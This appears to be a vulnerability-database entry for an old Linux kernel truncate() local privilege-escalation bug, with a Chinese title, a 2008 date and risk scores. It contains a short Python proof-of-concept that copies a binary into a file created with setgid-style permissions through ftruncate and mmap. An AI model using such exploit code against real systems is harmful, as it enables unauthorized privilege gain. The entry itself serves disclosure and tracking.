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Linux Kernel 'truncate()'本地特权提升漏洞
10
#!/usr/bin/env python
import os
import mmap
bin = file("/usr/bin/id").read()
fd = os.open("id", os.O_RDWR | os.O_CREAT | os.O_EXCL, 02750)
os.ftruncate(fd, len(bin))
m = mmap.mmap(fd, len(bin))
m[:] = bin
m.flush()
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27 Sep 2008 00:00Current
5.7Medium risk
Vulners AI Score5.7
EPSS0.113